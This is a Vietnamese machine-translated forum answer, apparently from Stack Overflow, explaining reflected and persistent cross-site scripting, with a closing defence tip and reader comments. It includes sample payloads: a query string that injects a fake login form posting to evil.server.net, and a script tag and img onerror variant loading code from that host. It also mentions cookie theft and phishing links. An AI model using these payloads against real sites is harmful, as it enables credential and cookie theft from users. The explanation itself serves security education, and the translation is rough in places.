tôi không hiểu cách JS/VBScript có thể gây ra quá nhiều thiệt hại!
Ok. giả sử bạn có trang web và trang web được phân phối từ http://trusted.server.com/thesite. Giả sử trang web này có hộp tìm kiếm và khi bạn tìm kiếm url sẽ trở thành: http://trusted.server.com/thesite?query=somesearchstring.
Nếu trang web quyết định không xử lý chuỗi tìm kiếm và xuất kết quả trong kết quả, như "Bạn tìm kiếm" somesearchstring "không mang lại kết quả nào, thì ai cũng có thể tiêm html tùy ý vào trang web. Ví dụ:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
Vì vậy, trong trường hợp này, trang web sẽ hiển thị một biểu mẫu đăng nhập giả mạo trên trang kết quả tìm kiếm và nếu người dùng gửi nó, nó sẽ gửi dữ liệu đến máy chủ không đáng tin cậy. thấy rằng, đặc biệt nếu url thực sự là dài họ sẽ chỉ nhìn thấy đầu tiên, nhưng, và giả sử họ đang đối phó với trust.server.com
Biến thể Điều này bao gồm việc tiêm một thẻ <script> để thêm trình xử lý sự kiện vào tài liệu để theo dõi hành động của người dùng hoặc gửi cookie tài liệu đến máy chủ ác. Bằng cách này, bạn có thể hy vọng gặp phải các dữ liệu nhạy cảm như dữ liệu đăng nhập, mật khẩu hoặc thẻ tín dụng. Hoặc bạn có thể thử chèn một kiểu đặc biệt chiếm toàn bộ cửa sổ ứng dụng khách và phục vụ một trang web trông giống như trang gốc nhưng thực sự bắt nguồn từ evil.server.com. Miễn là người dùng bị lừa sử dụng nội dung được tiêm thay vì bản gốc, sự an toàn đã bị xâm phạm.
Loại XSS này được gọi là phản chiếu và không liên tục. Phản ánh vì url được "relected" trực tiếp trong phản hồi và không liên tục vì trang web thực sự không thay đổi - nó chỉ hoạt động như một thông qua. Lưu ý rằng một cái gì đó như https cung cấp không có bảo vệ gì ở đây - trang web chính nó bị hỏng, bởi vì nó vẹt đầu vào người dùng thông qua chuỗi truy vấn.
Bí quyết hiện tại là giúp người dùng không tin tưởng bất kỳ liên kết nào bạn cung cấp cho họ. Ví dụ, bạn có thể gửi cho họ một email HTML và bao gồm một liên kết tìm kiếm hấp dẫn trỏ đến url giả mạo. Hoặc bạn có lẽ có thể truyền bá nó trên wiki, diễn đàn vv Tôi chắc chắn bạn có thể đánh giá cao sự dễ dàng của nó - nó chỉ là một liên kết, những gì có thể đi sai, phải không?
Đôi khi điều đó có thể tồi tệ hơn. Một số trang web thực sự lưu trữ nội dung do người dùng cung cấp. Ví dụ đơn giản: nhận xét trên blog hoặc chủ đề trên diễn đàn. Hoặc nó có thể tinh tế hơn: trang tiểu sử người dùng trên mạng xã hội. Nếu các trang đó cho phép html tùy ý, đặc biệt. tập lệnh và html do người dùng cung cấp này được lưu trữ và sao chép, sau đó mọi người chỉ truy cập trang chứa nội dung này đều có nguy cơ. Đây là XSS liên tục. Bây giờ người dùng thậm chí không cần phải bấm vào một liên kết nữa, chỉ cần truy cập là đủ. Một lần nữa các cuộc tấn công thực tế bao gồm sửa đổi các trang thông qua kịch bản để nắm bắt dữ liệu người dùng.
Tiêm tập lệnh có thể được cùn, ví dụ, người ta có thể chèn một <script src="http://evil.server.net/script.js"> hoàn chỉnh hoặc có thể tinh tế: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.
Làm cách nào để tự bảo vệ mình: điều quan trọng là không bao giờ đầu vào đầu ra của người dùng. Điều này có thể khó khăn nếu trang web của bạn xoay quanh nội dung do người dùng cung cấp có đánh dấu.
Đây là một câu trả lời thực sự tốt, tôi đã mô tả các vector tấn công nhưng tôi nghĩ rằng bạn đã vạch ra XSS tấn công tốt hơn tôi. – Spence
người đàn ông tôi muốn họ có một loại Stackoverflow của trang web đặc biệt cho các chủ đề bảo mật máy tính – bkbkbk
@bkbkbk http://security.stackexchange.com/ – MTCoster